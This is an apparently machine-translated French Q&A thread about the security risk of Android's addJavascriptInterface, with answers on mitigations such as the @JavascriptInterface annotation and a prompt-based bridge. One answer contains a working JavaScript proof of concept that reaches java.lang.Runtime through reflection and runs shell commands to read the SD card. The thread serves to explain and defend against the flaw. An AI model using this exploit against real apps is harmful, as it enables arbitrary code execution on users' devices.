Android JavascriptInterface Sécurité?

à Partir de la documentation: http://developer.android.com/reference/android/webkit/WebView.html#addJavascriptInterface%28java.lang.Object,%20java.lang.String%29

<!-L'utilisation de addJavascriptInterface() permet au JavaScript de contrôler votre application. Cela peut être une fonctionnalité très utile ou dangereux pour la sécurité. Lorsque le HTML dans le WebView n'est pas fiable (par exemple, une partie ou la totalité du HTML est fourni par une personne ou un processus), alors un attaquant pourrait injecter HTML qui exécutera votre code et peut-être n'importe quel code choisi par l'attaquant. N'utilisez pas addJavascriptInterface() à moins que tout le HTML dans ce WebView n'ait été écrit par vous. L'objet Java lié s'exécute dans un autre thread et non dans le fil qu'il a été construit en.

Supposons que j'ai une interface qui montre qu'une boîte de dialogue personnalisée, ou lance un téléchargement sur carte sd. Serait-ce dangereux d'utiliser une url? Comment un page d'attaque utilisez l'interface pour exécuter n'importe quel code du choix de l'attaquant?

mise à Jour: Selon l' documentation:

cette méthode peut être utilisée pour permettre au JavaScript de contrôler L'hôte application. C'est une fonctionnalité puissante, mais présente aussi un de sécurité risque pour les applications ciblées au niveau API JELLY_BEAN ou inférieur, parce que JavaScript pourrait utiliser la réflexion pour accéder à un objet injecté les champs publics. Utiliser de cette méthode dans un WebView contenant non fiable le contenu pourrait permettre à un attaquant de manipuler de l'application hôte méthodes involontaires, exécution du code Java avec les permissions de l'hôte application. Faites preuve d'une extrême prudence lorsque vous utilisez cette méthode dans un WebView qui pourrait contenir un contenu non fiable.

Est-il un exemple de comment cela pourrait se produire? Cette juste dire que DOWNLOADINTERFACE.dangerousfunction peut être appelée que si c'est une méthode publique qui de classe?

mise à Jour:

j'ai testé basé sur l'exemple de l'exploiter ci-dessous, les sites accédez au système par l'intermédiaire des interfaces dans Android 4.4, 4.1, et 3.2.

cependant, j'étais en voyant ce bug sur Android 2.2, ou 2.3, le hack ne provoque qu'une fermeture forcée. Quelle est la meilleure façon d'empêcher ce piratage, autre que de ne pas utiliser JSInterface? Puis-je inclure de fausses fonctions comme celle-ci, pour prévenir l'appel non autorisé de fonctions?

public Object getClass() {
  //throw error, return self, or something?  
}

ou réécrire tout en utilisant ajax et en interceptant les appels? Serait-ce le résultat de meilleures/pires performances?

mise à Jour:

j'ai réussi à supprimer l'interface JS, et remplacé la fonctionnalité en définissant window.commandes open (specialurl) pour toute la fenêtre.les fonctions (interface), et de passer outre ceux dans le shouldoverrideurloading. Curieusement, fenêtre.open() doit être utilisé dans certaines cas, ou le WebView casse l'affichage (comme javascript s'arrête?), et dans d'autres cas, l'emplacement.remplacez devrait être utilisé ou il affichera simplement une "interface: / / specialdata" message ne pouvait pas être trouvé.

(j'ai mis les paramètres.setJavaScriptCanOpenWindowsAutomatically(vrai) si la fenêtre.ouvrez les œuvres de JS tout le temps.)

Quelqu'un connaît la meilleure façon de réécrire une application avec ce comportement?

17
demandé sur NoBugs 2011-06-20 22:43:59

5 réponses

un exemple accéder aux fichiers sdcard à partir de javascript:

<html>
  <head>
    <script>

      function getContents(inputStream)
    {
        var contents = "";
        var b = inputStream.read();
        var i = 1;
        while(b != -1) {
            var bString = String.fromCharCode(b);
            contents += bString;
            b = inputStream.read();
        }
        return contents;
    }

       function execute(cmdArgs)
     {
       //  go_back_js_interface_name is the registered java interface.
       //  it is an object, but is not iterable with for (var i in interface) {...}.
       return go_back_js_interface_name.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec(cmdArgs);
     } 

      var p = execute(["ls","/mnt/sdcard/"]);
      document.write(getContents(p.getInputStream()));

    </script>
  </head>
  <body>
    Test
  </body>
</html>
13
répondu Haitao 2013-09-06 04:10:38

donc le code qui est exécuté dans une vue Web est bloqué par défaut - c'est-à-dire qu'il ne peut pas exécuter les choses natives dangereuses comme écrire dans le système de fichiers ou accéder au carnet d'adresses, etc...

la plupart du javaScript entre dans cette catégorie et dans le cas de montrer un dialogue personnalisé, il n'y a aucun danger.

addJavaScriptInterface vous permet d'exposer les trucs de téléphone natifs à javascript et le danger est que si vous n'écrivez pas votre javasriptinterface correctement vous pourriez finir exposer le téléphone d'une personne au vrai danger d'un hacker.

je pense que c'est plus facile de comprendre en utilisant un exemple.

disons que vous écrivez une interface javaScript où vous pouvez appeler une fonction à partir de javaScript qui écrit un fichier vers un chemin sur le système de fichiers android. par exemple:

writeToFile(data, safepath);

le javascript vient tout de votre serveur mais d'une certaine manière un hacker compromet votre serveur et change le HTML/JavaScript qui est chargé dans votre WebView pour exécuter:

writeToFile(dangerousdata, pathtosomeotherfile);

maintenant, je n'ai pas assez bien examiné la mise en page d'un paquet android pour savoir quel fichier je voudrais réécrire/changer si j'étais un hacker, mais nous avions l'habitude d'avoir de petites batailles de piratage avec des amis sur nos propres machines linux quand j'étais plus jeune et vous utilisiez un appel comme celui - ci pour réécrire quelque chose comme le binaire SSH-alors vous seriez en mesure d'enregistrer tous les mots de passe qui arriveraient. Si vous pouviez faire des choses comme écraser ou étendre l'apk original avec votre propre vous pourriez tourner le téléphone de la personne dans un serveur où vous pouvez vous connecter à distance (Je ne suis pas sûr que ce soit possible en raison de la façon dont les applications sont sablées). Même si tout ce que vous pouvez faire est d'écraser un fichier de données critiques, vous pourriez être en mesure de provoquer un utilisateur pour vous donner (le pirate dans ce cas) l'accès aux justificatifs de sécurité, mots de passe, toutes sortes de choses.

donc vous pouvez faire ce que vous voulez sans risque, juste être sûr que vous faites que L'interface JavaScript vraiment simple et stupide - il écrit seulement à un dossier dans un endroit et les données que vous écrivez sont peut-être du texte ou quelque chose qui ne se fait pas interprété plus tard. Pour dialogs je fais cela tout le temps - ne nécessitent pas de spécial les appels natifs. C'est une excellente façon de faire une page que vous pouvez mettre à jour une fois que l'Utilisateur a installé votre application.

J'espère que c'est utile!

5
répondu walta 2011-06-20 19:06:28

La solution:

pour les applications qui exécutent Android 4.2 toutes les méthodes publiques qui sont annotées avec JavascriptInterface peuvent être consultées à partir de JavaScript.

Donc, si vous développez une application pour SDK version 17 ou plus, vous devez ajouter le @JavascriptInterface annotation à n'importe quelle méthode que vous voulez disponible à votre JavaScript.

Si vous ne fournissez pas l'annotation, la méthode n'est pas accessible par votre page Web lorsque vous utilisez Android 4.2 ou une version plus récente.

Pour en savoir plus cliquez ici

4
répondu Durai Amuthan.H 2017-05-23 11:54:34

vue d'ensemble

Pour éviter le problème de sécurité de addJavaScriptInterface (), vous devez concevoir un protocole de communication entre le code natif et JavaScript.

ce qui suit est une conception simple du protocole de communication.

En JavaScript

pour simplifier le protocole de communication, chaque appel de fonction que vous voulez traiter Android doit obéir au modèle suivant

/*
classname string
method name string
params jsonObject
*/
value=classname+":"+methodname+"?"+"params";
window.promt(value,"");

En Java

On pouvez remplacer les onJsPrompt ()WebChromeClient.

WebChromeClient.onJsPrompt(WebView view, String origin, String message, String defaultValue, final JsPromptResult result){
//Parse className
//Parse methodName 
//Parse params
//Create an instance of the target class by reflection. Call the target method with params.
//Return true if all params in message valid, otherwise return false.
}

Cordova cadre

C'est aussi la façon dont Cordova Plugin fonctionne. Bien que Cordova soit plus compliqué, il ajoute la fonction callback à "js to Native Call", et permet L'appel de code natif JavaScript

2
répondu York 2015-07-15 02:11:01

ce bogue de sécurité fonctionne avec toutes les interfaces natives sauf le niveau d'api >= 17.

0
répondu afpro 2013-09-11 09:50:09